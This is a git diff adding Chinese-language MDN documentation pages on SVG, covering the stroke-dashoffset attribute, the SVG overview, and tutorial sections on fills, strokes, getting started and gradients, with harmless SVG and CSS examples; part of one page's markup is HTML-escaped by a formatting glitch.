SVGAttr("glyph-orientation-vertical") }}, {{ SVGAttr("image-rendering") }}, {{ SVGAttr("kerning") }}, {{ SVGAttr("letter-spacing") }}, {{ SVGAttr("lighting-color") }}, {{ SVGAttr("marker-end") }}, {{ SVGAttr("marker-mid") }}, {{ SVGAttr("marker-start") }}, {{ SVGAttr("mask") }}, {{ SVGAttr("opacity") }}, {{ SVGAttr("overflow") }}, {{ SVGAttr("pointer-events") }}, {{ SVGAttr("shape-rendering") }}, {{ SVGAttr("stop-color") }}, {{ SVGAttr("stop-opacity") }}, {{ SVGAttr("stroke") }}, {{ SVGAttr("stroke-dasharray") }}, {{ SVGAttr("stroke-dashoffset") }}, {{ SVGAttr("stroke-linecap") }}, {{ SVGAttr("stroke-linejoin") }}, {{ SVGAttr("stroke-miterlimit") }}, {{ SVGAttr("stroke-opacity") }}, {{ SVGAttr("stroke-width") }}, {{ SVGAttr("text-anchor") }}, {{ SVGAttr("text-decoration") }}, {{ SVGAttr("text-rendering") }}, {{ SVGAttr("unicode-bidi") }}, {{ SVGAttr("visibility") }}, {{ SVGAttr("word-spacing") }}, {{ SVGAttr("writing-mode") }}</p>
+<h3 id="Transfer_function_attributes">Transfer function attributes</h3>
+<p>{{ SVGAttr("type") }}, {{ SVGAttr("tableValues") }}, {{ SVGAttr("slope") }}, {{ SVGAttr("intercept") }}, {{ SVGAttr("amplitude") }}, {{ SVGAttr("exponent") }}, {{ SVGAttr("offset") }}</p>
+<h3 id="XLink_attributes">XLink attributes</h3>
+<p>{{ SVGAttr("xlink:href") }}, {{ SVGAttr("xlink:type") }}, {{ SVGAttr("xlink:role") }}, {{ SVGAttr("xlink:arcrole") }}, {{ SVGAttr("xlink:title") }}, {{ SVGAttr("xlink:show") }}, {{ SVGAttr("xlink:actuate") }}</p>
diff --git a/files/zh-tw/web/svg/attribute/stroke-dashoffset/index.html b/files/zh-tw/web/svg/attribute/stroke-dashoffset/index.html
new file mode 100644
index 0000000000..e8a076e352
--- /dev/null
+++ b/files/zh-tw/web/svg/attribute/stroke-dashoffset/index.html
@@ -0,0 +1,75 @@
+---
+title: stroke-dashoffset
+slug: Web/SVG/Attribute/stroke-dashoffset
+tags:
+  - 可縮放矢量圖形
+  - 可縮放矢量圖形 屬性
+translation_of: Web/SVG/Attribute/stroke-dashoffset
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG 屬性引用首頁</a></p>
+
+<p><code>stroke-dashoffset</code> 屬性指定一個數值至虛線的開頭。</p>
+
+<p>如果使用 <a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a> ，值則會代表當前viewport的百分比。<br>
+ <br>
+ 值允許為負值。</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">類別</th>
+   <td>Presentation attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">可用值</th>
+   <td><a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a> | <a href="/en/SVG/Content_type#Length" title="en/SVG/Content_type#Length"><span>&lt;length&gt;</span></a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">初始值</th>
+   <td>0</td>
+  </tr>
+  <tr>
+   <th scope="row">可動畫化</th>
+   <td>是</td>
+  </tr>
+  <tr>
+   <th scope="row">規範文件</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#StrokeDashoffsetProperty" title="http://www.w3.org/TR/SVG11/painting.html#StrokeDashoffsetProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例" name="範例">範例</h2>
+
+<h3 id="HTML_內容">HTML 內容</h3>
+
+<pre class="brush: html">&lt;svg width="200" height="200" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+    &lt;line stroke-dashoffset="0" stroke-dasharray="20" x1="0" y1="10" x2="200" y2="10"/&gt;
+    &lt;line stroke-dashoffset="10" stroke-dasharray="20" x1="0" y1="20" x2="200" y2="20"/&gt;
+    &lt;line stroke-dashoffset="20" stroke-dasharray="20" x1="0" y1="30" x2="200" y2="30"/&gt;
+    &lt;line stroke-dashoffset="50%" stroke-dasharray="20" x1="0" y1="40" x2="200" y2="40"/&gt;
+    &lt;line stroke-dashoffset="25%" stroke-dasharray="20" x1="0" y1="50" x2="200" y2="50"/&gt;
+    &lt;line stroke-dashoffset="0%" stroke-dasharray="20" x1="0" y1="60" x2="200" y2="60"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="CSS_內容">CSS 內容</h3>
+
+<pre class="brush: css">line{
+    stroke: #51BBA7;
+    stroke-width: 2;
+}</pre>
+
+<h3 id="結果">結果</h3>
+
+<p>{{ EmbedLiveSample('範例') }}</p>
+
+<h2 id="適用元素">適用元素</h2>
+
+<p>以下元素可以使用 <code>stroke-dashoffset</code> 屬性</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Shape" title="en/SVG/Element#Shape">Shape elements</a> »</li>
+ <li><a href="/en/SVG/Element#TextContent" title="en/SVG/Element#TextContent">Text content elements</a> »</li>
+</ul>
diff --git a/files/zh-tw/web/svg/index.html b/files/zh-tw/web/svg/index.html
new file mode 100644
index 0000000000..86aa0e1479
--- /dev/null
+++ b/files/zh-tw/web/svg/index.html
@@ -0,0 +1,22 @@
+---
+title: SVG
+slug: Web/SVG
+translation_of: Web/SVG
+---
+<p> </p>
+<div class="callout-box"><strong><a href="/zh_tw/SVG/教學" title="zh tw/SVG/教學">由此開始</a></strong><br>
+本教程將輔助你開始使用 SVG。</div>
+<div><strong>可縮放向量圖形 (Scalable Vector Graphics，SVG)</strong> 是用於描述二維向量圖形的 <a href="/en/XML" title="en/XML">XML</a> 標記語言。基本上，SVG 用於圖形，而 XHTML 用於文字。
+<p>SVG 類似 Adobe 專有的 Flash 技術，SVG 與 Flash 兩者最大的分別在於 SVG 為 <a class="external" href="http://www.w3.org/Graphics/SVG/">W3C 所推薦</a> (即標準)，並以 XML 為基礎，而非封閉的二進制格式。SVG 設計為與其他 <a class="external" href="http://www.w3.org/">W3C</a> 標準 (如 <a href="/en/CSS" title="en/CSS">CSS</a>、<a href="/en/DOM" title="en/DOM">DOM</a> 及 <a class="external" href="http://www.w3.org/AudioVideo/">SMIL</a>) 一同運作。</p>
+</div>
+<p> </p>
+<table class="topicpage-table"> <tbody> <tr> <td colspan="2"> <h4 id="Why_use_SVG.3F" name="Why_use_SVG.3F">為何使用 SVG？</h4> </td> </tr> <tr> <td> <dl> <dt>更好的圖形格式</dt> <dd><small>SVG 是一種向量圖形格式。</small><small>向量圖形可縮可放，圖形完全不會失真，為</small><small>像素圖形所不能及。</small></dd> </dl> <ul> <li><a class="external" href="http://www.croczilla.com/svg/samples/lion/lion.svg">Lion</a>, <a class="external" href="http://www.croczilla.com/svg/samples/butterfly/butterfly.svg">Butterfy</a> &amp; <a class="external" href="http://www.croczilla.com/svg/samples/tiger/tiger.svg">Tiger</a></li> <li><a class="external" href="http://plurib.us/1shot/2007/svg_gallery/">SVG 藝術圖庫</a></li> <li>更多範例 (<a class="external" href="http://www.croczilla.com/svg/samples/">SVG 範例 croczilla.com</a>, <a class="external" href="http://www.carto.net/papers/svg/samples/">carto.net</a>)</li> </ul> <p> </p> <dl> <dt>增強 HTML 內容的表現</dt> <dd><small>SVG 可和 HTML、CSS 及 JavaScript 一同運作。使用 SVG 增強普通 HTML 頁面或 web 應用程式。</small></dd> </dl> <ul> <li>如何<a class="internal" href="/en/SVG_In_HTML_Introduction" title="en/SVG In HTML Introduction">在 XHTML 中使用 SVG</a> 教程</li> <li>Google <a class="external" href="http://maps.google.com">Maps</a> (路徑圖) &amp; <a class="external" href="http://docs.google.com">Docs</a> (試算表繪圖)</li> <li><a class="external" href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">SVG 泡沫選單</a></li> </ul> <p> </p> <dl> <dt>Mozilla 裡的 SVG</dt> <dd><small>SVG 如何在 Mozilla 裡實作的註解和資訊。</small></dd> </dl> <ul> <li>Firefox 目前已實作 <a href="/En/SVG_in_Firefox" title="en/SVG_in_Firefox">SVG 1.1 規範</a></li> <li><a class="external" href="http://jwatt.org/svg/authoring/">SVG 編寫指南</a></li> <li><a href="/en/Mozilla_SVG_Project" title="en/Mozilla_SVG_Project">Mozilla SVG 專案</a>概述</li> <li>有關 SVG 和 Mozilla 的<a class="internal" href="/En/SVG/FAQ" title="En/SVG/FAQ">問答集</a></li> </ul> <p> </p> <dl> <dt>工具</dt> </dl> <p> </p> <ul> <li><a class="external" href="http://www.w3.org/Graphics/SVG/Test/">SVG Test Suite</a></li> <li><a class="external" href="http://jiggles.w3.org/svgvalidator/">SVG Validator</a></li> <li><a href="/Special:Tags?tag=SVG:Tools&amp;language=en" title="Special:Tags?tag=SVG:Tools&amp;language=en">更多工具...</a></li> </ul> <p> </p> </td> <td> <dl> <dt>動畫和互動</dt> <dd><small>如同 HTML，SVG 也有一個 DOM、事件，並且可由 JavaScript 存取。這可讓開發者建立豐富的動畫和互動式圖形。</small></dd> </dl> <ul> <li>Firefox extension (<a class="external" href="http://schepers.cc/grafox/">Grafox</a>) to add a subset of SMIL animation support</li> <li>Interactive <a class="external" href="http://people.mozilla.com/~vladimir/demos/photos.svg">photos</a> manipulation</li> <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> using SVG's <code>foreignObject</code></li> <li>Animated <a class="external" href="http://lab.vodafone.com/vienna/">art</a></li> </ul> <p> </p> <dl> <dt>繪圖、圖表、遊戲 &amp; 3D 實驗</dt> <dd><small>只需少許 SVG 即可增強網頁內容，這裡有一些重量級 SVG 用法的範例。</small></dd> </dl> <ul> <li><a class="external" href="http://www.croczilla.com/svg/samples/svgtetris/svgtetris.svg">Tetris</a>, <a class="external" href="http://www.codedread.com/yastframe.php">Yet Another SVG Tetris</a> &amp; <a class="external" href="http://www.treebuilder.de/svg/connect4.svg">Connect 4</a></li> <li><a class="external" href="http://files.myopera.com/orinoco/svg/USStates.svg">Find the State</a> game</li> <li><a class="external" href="http://www.carto.net/papers/svg/us_population/index.html">US popuplation map</a> &amp; <a class="external" href="http://www.destatis.de/jetspeed/portal/cms/Sites/destatis/Internet/EN/Content/Statistics/Bevoelkerung/VorausberechnungBevoelkerung/InteraktiveDarstellung/Content75/Bevoelkerungspyramide1W1,templateId=renderSVG.psml">Germany population chart</a></li> <li><a class="external" href="http://www.treebuilder.de/default.asp?file=441875.xml">3D box</a> &amp; <a class="external" href="http://www.treebuilder.de/default.asp?file=206524.xml">3D boxes</a></li> <li><a class="external" href="http://www.amaltas.org/svgapp">SVG+DOM based drawing tool</a></li> </ul> <p> </p> <dl> <dt>Community</dt> </dl> <p> </p> <ul> <li>View Mozilla forums...</li> </ul> <p>{{ DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg") }}</p> <ul> <li><a class="external" href="http://wiki.svg.org/">SVG Wiki</a></li> </ul> <p> </p> </td> </tr> </tbody>
+</table>
+<p><span class="alllinks"><a href="/Special:Tags?tag=SVG&amp;language=en" title="Special:Tags?tag=SVG&amp;language=en">View All...</a></span></p>
+<h4 id="Related_Topics" name="Related_Topics">關聯主題</h4>
+<dl> <dd><a href="/en/XML" title="en/XML">XML</a>, <a href="/en/HTML/Canvas" title="en/HTML/Canvas">Canvas</a></dd>
+</dl>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( {"en": "en/SVG", "de": "De/SVG", "es": "es/SVG", "fr": "fr/SVG", "it": "it/SVG", "ja": "ja/SVG", "pl": "pl/SVG", "pt": "pt/SVG" } ) }}</p>
diff --git a/files/zh-tw/web/svg/tutorial/fills_and_strokes/index.html b/files/zh-tw/web/svg/tutorial/fills_and_strokes/index.html
new file mode 100644
index 0000000000..568647df13
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/fills_and_strokes/index.html
@@ -0,0 +1,184 @@
+---
+title: 填充与边框
+slug: Web/SVG/Tutorial/Fills_and_Strokes
+translation_of: Web/SVG/Tutorial/Fills_and_Strokes
+---
+<p>{{ PreviousNext("SVG/Tutorial/Paths", "SVG/Tutorial/Gradients") }}</p>
+
+<p>现在你掌握的知识已经可以绘制任何图形，下一个目标是给它们上色。在SVG绘图中，可以使用若干方法上色，比如给图形对象增加指定的属性，使用行间CSS，使用CSS嵌入段落，或者使用外部引用的CSS文件。你会发现大部分web上的SVG使用的是行间CSS，但每种方法都有自身的优点和缺点，在不同情况下，应该酌情选择合适的方法。</p>
+
+<h2 id="Fill_and_Stroke_Attributes" name="Fill_and_Stroke_Attributes">fill（填充）和stroke（边框）属性</h2>
+
+<h3 id="Painting" name="Painting">上色</h3>
+
+<p>大多数基本的颜色可以使用<code>fill</code>和<code>stroke</code>两个属性来设置。<code>fill</code>设置的是对象的填充色，<code>stroke</code>设置的是对象的边框颜色，你可以使用在HTML中设置CSS颜色的方式定义它们的颜色，比如颜色名（<em>red</em>），<em>rgb</em>值，<em>hex</em>值，<em>rgba</em>值。</p>
+
+<pre class="brush:xml;"> &lt;rect x="10" y="10" width="100" height="100" stroke="blue" fill="purple"
+
+       fill-opacity="0.5" stroke-opacity="0.8"/&gt;
+
+</pre>
+
+<p>此外，在SVG中你可以分别定义填充色和边框色的透明度，它们分别由<code> fill-opacity </code>和<code> stroke-opacity </code>两个属性控制。</p>
+
+<div class="note style-wrap">注意，FireFox 3+支持rgba值，并且能够提供同样的效果，但是为了在其他浏览器中保持兼容，最好将它和边框/填充的透明度分开使用。如果同时定义了rgba值和透明度，它们将被一起调用。</div>
+
+<h3 id="Stroke" name="Stroke">边框</h3>
+
+<p>除了颜色属性，还有其他一些属性用来控制绘制边框的方式。</p>
+
+<p><img align="right" alt="" class="internal" src="/@api/deki/files/355/=SVG_Stroke_Linecap_Example.png"></p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+
+  &lt;line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/&gt;
+
+  &lt;line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/&gt;
+
+  &lt;line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>我要特别提醒一点，边框是围绕路径绘制的，在上面的例子里，路径是粉色的，边框是黑色的。<code>stroke-width</code>属性定义了边框的粗细，如你所见，路径的每一侧都有均匀分布的边框。</p>
+
+<p>第二个要介绍的是<code>stroke-linecap</code>属性，它控制边框终点的形状。<code>stroke-linecap</code>属性的值有三种，<code>butt</code>表示用直边结束边框，<code>square</code>的效果差不多，但是会稍微超出<code>path</code>的范围，超出的大小是<code>stroke-width</code>控制的。<code>round</code>表示边框的终点是圆角，圆角的半径也是<code>stroke-width</code>控制的。</p>
+
+<p>还有一个<code>stroke-linejoin</code>属性，用来控制两条边框线段之间，用什么方式连接。</p>
+
+<p><img align="right" alt="" class="internal" src="/@api/deki/files/356/=SVG_Stroke_Linejoin_Example.png"></p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+
+  &lt;polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20"
+
+      stroke-linecap="butt" fill="none" stroke-linejoin="miter"/&gt;
+
+
+
+  &lt;polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20"
+
+      stroke-linecap="round" fill="none" stroke-linejoin="round"/&gt;
+
+
+
+  &lt;polyline points="40 220 80 180 120 220" stroke="black" stroke-width="20"
+
+      stroke-linecap="square" fill="none" stroke-linejoin="bevel"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>折线是由两个线段连接起来的，连接处的样式由<code>stroke-linejoin</code>属性控制，它有三个可用的值，<code>miter</code>是默认值，表示用方形画笔在连接处形成直角，<code>round</code>表示用圆角连接，实现平滑效果。最后还有一个值<code>bevel</code>，连接处会形成一个斜线。</p>
+
+<p>最后，你可以使用<code>stroke-dasharray</code>属性，将边框定义成虚线。</p>
+
+<p><img align="right" alt="" class="internal" src="/@api/deki/files/354/=SVG_Stroke_Dasharray_Example.png"></p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+
+  &lt;path d="M 10 75 Q 50 10 100 75 T 190 75" stroke="black"
+
+    stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/&gt;
+
+  &lt;path d="M 10 75 L 190 75" stroke="red"
+
+    stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p><code>stroke-dasharray</code>属性的参数，是一组用逗号分割的数字组成的序列。需要注意的是，这里的数字必须用逗号分割，虽然也可以插入空格，但是数字之间必须用逗号分开。每一组数字，第一个用来表示实线，第二个用来表示空白。所以在上面的例子里，第二个路径会先画5px实线，紧接着是5px空白，然后又是5px实线，从而形成虚线。如果你想要更复杂的虚线模式，你可以定义更多的数字。上面例子里的第一个，就定义了3个数字，这种情况下，数字会循环两次，形成一个偶数的虚线模式。所以该路径首先是5px实线，然后是10px空白，然后是5px实线，接下来循环这组数字，形成5px空白、10px实线、5px空白。然后这种模式会继续循环。</p>
+
+<p>另外还有一些关于填充和边框的属性，包括<code>fill-rule</code>，用于定义如何给图形重叠的区域上色；<code>stroke-miterlimit</code>，定义什么情况下绘制或不绘制边框连接的<code>miter</code>效果；还有<code>stroke-dashoffset</code>，定义虚线开始的位置。</p>
+
+<h2 id="Using_CSS" name="Using_CSS">使用CSS</h2>
+
+<p>除了定义对象的属性外，你也可以通过CSS来定义<code>fill</code>和<code>stroke</code>。语法和在html里使用CSS一样，只不过你要把<code>background-color</code>、<code>border</code>改成<code>fill</code>和<code>stroke</code>。注意，不是所有的属性都能用CSS来设置。上色和填充的部分一般是可以用CSS来设置的，比如<code>fill</code>，<code>stroke</code>，<code>stroke-dasharray</code>等，但是不包括下面会提到的渐变和模式等功能。另外，宽、高，以及路径的d命令，都不能用css设置。判断它们能不能用CSS设置还是比较容易的。</p>
+
+<div class="note style-wrap">
+
+<a class="external" href="http://www.w3.org/TR/SVG/propidx.html" title="http://www.w3.org/TR/SVG/propidx.html">SVG规范</a>将属性区分成<em>properties</em>和<em>其他attributes</em>，前者是可以用CSS设置的，后者不能。</div>
+
+<p>CSS可以通过style属性插入到元素的行间:</p>
+
+<pre class="brush:xml;"> &lt;rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/&gt;
+
+</pre>
+
+<p>或者通过&lt;style&gt;设置一段样式段落。在html里这样的段落一般放在里，在svg则放在&lt;a href="/en/SVG/Element/defs" title="en/SVG/Element/defs"&gt;&lt;code&gt;&lt;defs&gt;&lt;/code&gt;&lt;/a&gt;标签里。&lt;code&gt;&lt;defs&gt;&lt;/code&gt;表示定义，这里可以定义一些不会在SVG图形中出现的元素，但是它们可以被其他元素使用。&lt;code&gt;&lt;head&gt;&lt;/code&gt;&lt;/p&gt;
+
+&lt;pre class="brush:xml;"&gt;
+
+&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+
+  &lt;defs&gt;
+
+    &lt;style type="text/css"&gt;&lt;![CDATA[
+
+       #MyRect {
+
+         stroke: black;
+
+         fill: red;
+
+       }
+
+    ]]&gt;&lt;/style&gt;
+
+  &lt;/defs&gt;
+
+  &lt;rect x="10" height="180" y="10" width="180" id="MyRect"/&gt;
+
+&lt;/svg&gt;&lt;/pre&gt;
+
+&lt;p&gt;通过使用style段落你可以更轻易地调整一大组元素的样式，同样你也可以通过&lt;strong&gt;hover&lt;/strong&gt;这样的伪类来创建翻转之类的效果:&lt;/p&gt;
+
+&lt;pre class="brush:css;"&gt;
+
+ #MyRect:hover {
+
+   stroke: black;
+
+   fill: blue;
+
+ }
+
+&lt;/pre&gt;
+
+&lt;p&gt;你最好读一下CSS教程以便掌握它，一些可以在html里使用的css，在svg里可能无法正常工作，比如&lt;code&gt;before&lt;/code&gt;和&lt;code&gt;after&lt;/code&gt;伪类。所以这里需要一点经验。&lt;/p&gt;
+
+&lt;p&gt;你也可以定义一个外部的样式表，但是要符合&lt;a class="external" href="http://www.w3.org/TR/xml-stylesheet/" title="http://www.w3.org/TR/xml-stylesheet/"&gt;normal XML-stylesheet syntax&lt;/a&gt;的CSS规则:&lt;/p&gt;
+
+&lt;pre class="brush:xml;"&gt;
+
+&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style.css"?&gt;
+
+
+
+&lt;svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+
+  &lt;rect height="10" width="10" id="MyRect"/&gt;
+
+&lt;/svg&gt;&lt;/pre&gt;
+
+&lt;p&gt;style.css看起来就像这样：&lt;/p&gt;
+
+&lt;pre class="brush:css;"&gt;
+
+#MyRect {
+
+  fill: red;
+
+  stroke: black;
+
+}&lt;/pre&gt;
+
+&lt;p&gt;{{ PreviousNext("SVG/Tutorial/Paths", "SVG/Tutorial/Gradients") }}&lt;/p&gt;&lt;/style&gt;</p>
diff --git a/files/zh-tw/web/svg/tutorial/getting_started/index.html b/files/zh-tw/web/svg/tutorial/getting_started/index.html
new file mode 100644
index 0000000000..177e9ad15b
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/getting_started/index.html
@@ -0,0 +1,91 @@
+---
+title: 入門
+slug: Web/SVG/Tutorial/Getting_Started
+translation_of: Web/SVG/Tutorial/Getting_Started
+---
+<p>{{ PreviousNext("SVG/Tutorial/Introduction", "SVG/Tutorial/Positions") }}</p>
+
+<h3 id="A_Simple_Example" name="A_Simple_Example">一個簡單的例子</h3>
+
+<p>讓我們用一個簡單的例子來進入主題，先看下面的程式碼：</p>
+
+<pre class="brush: xml">&lt;svg version="1.1"
+     baseProfile="full"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect width="100%" height="100%" fill="red" /&gt;
+
+  &lt;circle cx="150" cy="100" r="80" fill="green" /&gt;
+
+  &lt;text x="150" y="125" font-size="60" text-anchor="middle" fill="white"&gt;SVG&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>複製這段程式碼，在一個文件裡貼上，給該文件起名為demo1.svg，然後用Firefox打開它，會渲染成下面截圖的樣子。(Firefox 用户: 點<a class="external" href="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml" title="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml">這裡</a>)</p>
+
+<p><img alt="svgdemo1.png" class="default internal" src="/@api/deki/files/4928/=svgdemo1.png"></p>
+
+<p>渲染過程包括以下内容：</p>
+
+<ol>
+ <li>我們先看一下<code>svg</code>根元素：
+
+  <ul>
+   <li>不使用類似(X)HTML的文檔聲明，因為基於SVG的DTD會造成很多問題，弊大於利。</li>
+   <li>為了明確SVG版本，<code>version</code> 和 baseProfile 兩個屬性必須要寫</li>
+   <li>作為XML方言，SVG必須始終绑定正確的命名空間（xmlns属性）。更多資訊，請參考<a href="/en/SVG/Namespaces_Crash_Course" title="en/SVG/Namespaces_Crash_Course">命名空間速成班頁面</a></li>
+  </ul>
+ </li>
+ <li>畫一個覆蓋整個圖形的矩形 ，將背景設為红色</li>
+ <li>在红色矩形中間畫一個綠色的圓形<code>，半徑是80像素（圓心坐標：x軸向左偏移150像素，y軸向上偏移100像素）【坐標系統會在後面章節介紹】</code></li>
+ <li><code>描繪“SVG”文字，字母填充成白色，通過設定錨點定義文本的中點，在這個例子裡，中點是綠色圓形的圓心，通過調整字號和垂直位置，確保最終顯示效果的美觀</code></li>
+</ol>
+
+<h3 id="SVG文件的基本屬性"><code>SVG文件的基本屬性</code></h3>
+
+<ul>
+ <li><code>首先要注意的是元素渲染的順序，SVG的全局規則是：<em>靠後的元素，將在靠前的元素上面渲染</em>。</code></li>
+ <li><code>在web上，SVG可以直接放進瀏覽器裡顯示，或者通過以下幾種方式嵌入到HTML文檔中顯示： </code>
+  <ul>
+   <li><code>如果是XHTML文檔，並且響應端接受<code>application/xhtml+xml類型</code>，SVG就可以在XML源裡直接嵌入</code></li>
+   <li><code>如果是HTML5文檔，並且瀏覽器支持HTML5，SVG也可以直接嵌入，但是語法上需要修改，以符合HTML5規範。</code></li>
+   <li><code>SVG可以通過<code>Object</code>元素引入: </code>
+    <pre><code>        &lt;object data="image.svg" type="image/svg+xml" /&gt;</code></pre>
+    <code> </code></li>
+   <li><code>同樣可以通過<code>iframe</code>引入: </code>
+    <pre><code>        &lt;iframe src="image.svg"&gt;&lt;/iframe&gt;</code></pre>
+    <code> </code></li>
+   <li><code>理論上，<code>img</code>元素也可以用来引入SVG，但是Firefox 4.0之前的版本不支持這一功能。</code></li>
+   <li><code>最後，SVG可以用JavaScript動態創建，並且注入到HTML DOM裡面。這樣做的好處是，對於不支持SVG的瀏覽器，可以啟用其它替代技術。</code></li>
+  </ul>
+  <code> 這是一個深入探討該主題的<a href="/en/SVG_In_HTML_Introduction" title="en/svg in html introduction">專題頁面</a>。 </code></li>
+ <li><code>SVG如何處理大小和單位，將在<a href="/en/SVG/Tutorial/Positions" title="en/SVG/Tutorial/Positions">下一頁</a>進行解釋。</code></li>
+</ul>
+
+<h3 id="SVG_File_Types" name="SVG_File_Types"><code>SVG文件的類型</code></h3>
+
+<p><code>SVG文件類型有兩種，普通的SVG文件是包含SVG標籤的文字文件，這類型文件的副檔名是“.svg”（全小寫）。</code></p>
+
+<p><code>SVG規範支持超大體積的SVG文件，以便符合一些應用程式的使用要求（比如地理應用），所以SVG規範提供了gzip壓縮的SVG文件格式，這類文件的後缀是“.svgz”（全小寫）。不幸的是，從微軟的IIS伺服器上獲取SVG壓縮文件將會出現問題，並且，Firefox不支持本機端的SVG壓縮文件。所以，如果要使用SVG壓縮文件，你必須保證使用的是支持這種文件的服務器。</code></p>
+
+<h3 id="A_Word_on_Webservers" name="A_Word_on_Webservers"><code>關於web服務器</code></h3>
+
+<p><code>現在你已經大致瞭解了如何創建SVG文件，下一步就是將SVG文件上傳到服務器上。這裡有一些問題需要注意。對於一般的SVG文件，服務器的HTTP響應端是：</code></p>
+
+<pre><code>Content-Type: image/svg+xml
+</code></pre>
+
+<p><code>對於經過壓縮的SVG文件，響應端應該是：</code></p>
+
+<pre><code>Content-Type: image/svg+xml
+Content-Encoding: gzip
+</code></pre>
+
+<p><code>你可以通過一些網站來檢查你的服務器是否使用了正确的響應端，比如 <a class="external" href="http://web-sniffer.net/">web-sniffer.net</a>，提交一個SVG文件的URL，看一下響應端是什麼。如果你的服務器在響應裡没能返回上面的内容，那麼你應該聯繫一下您的主機服務商。如果他們不提供相關的配置服務，你也可以自動動手，具體方法可以查閱SVG wiki的 <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Server_Configuration">服務器配置頁面</a>。</code></p>
+
+<p><code>服務器配置錯誤是SVG加載失敗的主要原因，所以一定要確認你的配置。如果你没有給SVG文件配置正確的服務器響應端，Firefox將會以文本的方式展示文件的標記和編碼内容，甚至要求用户選擇一个應用程序打開它。</code></p>
+
+<p><code>{{ PreviousNext("SVG/Tutorial/Introduction", "SVG/Tutorial/Positions") }}</code></p>
+
+<p><code>{{ languages( { "fr": "fr/SVG/Tutoriel/Premiers_pas", "ja": "ja/SVG/Tutorial/Getting_Started", "zh-TW":"zh-TW/SVG/Tutorial/Getting_Started" } ) }}</code></p>
diff --git a/files/zh-tw/web/svg/tutorial/gradients/index.html b/files/zh-tw/web/svg/tutorial/gradients/index.html
new file mode 100644
index 0000000000..63a0949cc3
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/gradients/index.html
@@ -0,0 +1,148 @@
+---
+title: 漸層
+slug: Web/SVG/Tutorial/Gradients
+translation_of: Web/SVG/Tutorial/Gradients
+---
+<p>{{ PreviousNext("SVG/Tutorial/Fills_and_Strokes", "SVG/Tutorial/Patterns") }}</p>
+
+<p>除了基本的 fill 和 stroke 之外，我們還有一個更令人興奮的功能：給邊框和填充設置漸層。</p>
+
+<p>漸層的類型有兩種，線形漸層和放射形漸層。線形漸層沿直線變化，在 defs元素裡創建一個 {{SVGElement('linearGradient')}} 元素，就創建了一個線形漸層。漸變<strong>必須</strong>有一個<code>id</code>屬性，否則它不能被其他元素引用，等於白做了。</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/347/=SVG_Linear_Gradient_Example.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;linearGradient id="Gradient1"&gt;
+        &lt;stop class="stop1" offset="0%"/&gt;
+        &lt;stop class="stop2" offset="50%"/&gt;
+        &lt;stop class="stop3" offset="100%"/&gt;
+      &lt;/linearGradient&gt;
+      &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="50%" stop-color="black" stop-opacity="0"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/linearGradient&gt;
+      &lt;style type="text/css"&gt;&lt;![CDATA[
+        #rect1 { fill: url(#Gradient1); }
